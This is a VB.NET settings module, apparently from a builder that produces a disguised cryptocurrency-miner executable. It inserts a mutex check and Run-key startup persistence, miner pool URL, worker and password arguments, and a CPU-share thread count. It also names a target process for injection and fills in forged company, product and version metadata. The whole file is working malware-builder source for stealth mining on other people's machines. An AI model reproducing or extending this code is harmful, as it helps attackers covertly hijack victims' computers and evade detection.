Files
2026-08-27 11:04:21 -06:00

170 lines
7.6 KiB
VB.net

Structure Settings
Public Shared IconPath As [String] = ""
Public Shared SavePath As [String] = ""
Public Shared Mutex As [Boolean] = False
Public Shared Startup As [Boolean] = False
Public Shared CustomIcon As [Boolean] = False
Public Shared ThreadPercent As [Boolean] = False
Public Shared DebugMode As [Boolean] = False
Private Shared Description As [String] = ""
Private Shared Trademark As [String] = ""
Private Shared Company As [String] = ""
Private Shared Product As [String] = ""
Private Shared Copyright As [String] = ""
Private Shared Title As [String] = ""
Private Shared ProductVer As [String] = ""
Private Shared FileVer As [String] = ""
Private Shared InjectionProcess As [String] = ""
#Region "Argument Variabled"
Public Shared Threads As [String] = ""
#End Region
Public Shared Function getSavePath() As String
Using sfd As New SaveFileDialog With {.Title = "Choose Save Path...", .InitialDirectory = Application.StartupPath, .Filter = "EXE Files (*.exe)|*.exe"}
If sfd.ShowDialog() = DialogResult.OK Then
Return sfd.FileName
Else : Return Nothing
End If
End Using
End Function
Public Shared Function prepareSource(ByVal source As String) As String
If Settings.ThreadPercent Then
Settings.Threads = "Percent"
Else
Settings.Threads = frmMain.nThreads.Value.ToString()
End If
source = replaceMutex(source, Settings.Mutex)
source = replaceStartup(source, Settings.Startup)
source = replaceParameters(source)
source = replaceThreads(source, Settings.ThreadPercent)
source = replaceDebug(source)
source = replaceAssembly(source)
source = replaceInjection(source)
Return source
End Function
Private Shared Function replaceMutex(ByVal source As String, ByVal Enabled As Boolean) As String
If Enabled Then
source = source.Replace("%MUTEXOBJ%", "Dim objMutex As System.Threading.Mutex")
source = source.Replace("%MUTEXSUB%", "Sub checkMutex()" & vbNewLine & "objMutex = New System.Threading.Mutex(False,""%MUTEX%"")" & vbNewLine & "If objMutex.WaitOne(0, False) = False Then" & vbNewLine & "objMutex.Close()" & vbNewLine & "End" & vbNewLine & "End If" & vbNewLine & "End Sub")
source = source.Replace("%MUTEX%", frmMain.tbMutex.Text)
source = source.Replace("%CHECKMUTEX%", "checkMutex()")
Return source
Else
source = source.Replace("%MUTEXOBJ%", "")
source = source.Replace("%MUTEXSUB%", "")
source = source.Replace("%CHECKMUTEX%", "")
Return source
End If
End Function
Private Shared Function replaceStartup(ByVal source As String, ByVal Enabled As Boolean) As String
If Enabled Then
source = source.Replace("%DOSTARTUP%", "doStartup()")
source = source.Replace("%STARTUPSUB%", "Sub doStartup()" & vbNewLine & "Microsoft.Win32.Registry.CurrentUser.OpenSubKey(""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"", True).SetValue(""%STARTUPKEY%"", System.Reflection.Assembly.GetExecutingAssembly().Location)" & vbNewLine & "End Sub")
source = source.Replace("%STARTUPKEY%", frmMain.tbStartup.Text)
Return source
Else
source = source.Replace("%DOSTARTUP%", "")
source = source.Replace("%STARTUPSUB%", "")
source = source.Replace("%STARTUPKEY%", "")
Return source
End If
End Function
Private Shared Function replaceParameters(ByVal source As String) As String
source = source.Replace("%ARGS%", "-o %URL% -u %WORKER% -p %PASS% -t"" & %THREADS% & "" -m512")
source = source.Replace("%URL%", frmMain.tbURL.Text)
source = source.Replace("%WORKER%", frmMain.tbWorker.Text)
source = source.Replace("%PASS%", frmMain.tbPass.Text)
Return source
End Function
Private Shared Function replaceThreads(ByVal source As String, ByVal Percentage As Boolean) As String
If Percentage Then
source = source.Replace("%THREADS%", "getCores()")
source = source.Replace("%CORESUB%", "Function getCores() As String" & vbNewLine &
"Dim i As Integer" & vbNewLine &
"i = CInt(Environment.ProcessorCount / 2)" & vbNewLine &
"Return "" "" & CStr(i)" & vbNewLine &
"End Function")
Return source
Else
source = source.Replace("%THREADS%", """" & " " & frmMain.nThreads.Value.ToString() & """")
source = source.Replace("%CORESUB%", "")
Return source
End If
End Function
Private Shared Function replaceDebug(ByVal source As String) As String
If Settings.DebugMode Then
source = source.Replace("%DEBUG%", "True")
Return source
Else
source = source.Replace("%DEBUG%", "False")
Return source
End If
End Function
Private Shared Function replaceAssembly(ByVal source As String) As String
If frmMain.tbDesc.Text = "Description" Then : Settings.Description = "" : Else : Settings.Description = frmMain.tbDesc.Text : End If
If frmMain.tbTrademark.Text = "Trademark" Then : Settings.Trademark = "" : Else : Settings.Trademark = frmMain.tbTrademark.Text : End If
If frmMain.tbCompany.Text = "Company" Then : Settings.Company = "" : Else : Settings.Company = frmMain.tbCompany.Text : End If
If frmMain.tbProduct.Text = "Product" Then : Settings.Product = "" : Else : Settings.Product = frmMain.tbProduct.Text : End If
If frmMain.tbCopyright.Text = "Copyright" Then : Settings.Copyright = "" : Else : Settings.Copyright = frmMain.tbCopyright.Text : End If
If frmMain.tbTitle.Text = "Title" Then : Settings.Title = "" : Else : Settings.Title = frmMain.tbTitle.Text : End If
Settings.ProductVer = createProductVer()
Settings.FileVer = createFileVer()
source = source.Replace("{DESC}", Settings.Description)
source = source.Replace("{TRADEMARK}", Settings.Trademark)
source = source.Replace("{COMPANY}", Settings.Company)
source = source.Replace("{PRODUCT}", Settings.Product)
source = source.Replace("{COPYRIGHT}", Settings.Copyright)
source = source.Replace("{TITLE}", Settings.Title)
source = source.Replace("{PVERSION}", Settings.ProductVer)
source = source.Replace("{FVERSION}", Settings.FileVer)
Return source
End Function
Private Shared Function replaceInjection(ByVal source As String) As String
Settings.InjectionProcess = CStr(frmMain.comboInject.SelectedItem)
source = source.Replace("%INJECT%", Settings.InjectionProcess & ".exe")
Return source
End Function
Private Shared Function createProductVer() As String
Dim s As String
s = frmMain.pv1.Value.ToString() & "." & frmMain.pv2.Value.ToString() & "." & frmMain.pv3.Value.ToString() & "." & frmMain.pv4.Value.ToString()
Return s
End Function
Private Shared Function createFileVer() As String
Dim s As String
s = frmMain.fv1.Value.ToString() & "." & frmMain.fv2.Value.ToString() & "." & frmMain.fv3.Value.ToString() & "." & frmMain.fv4.Value.ToString()
Return s
End Function
End Structure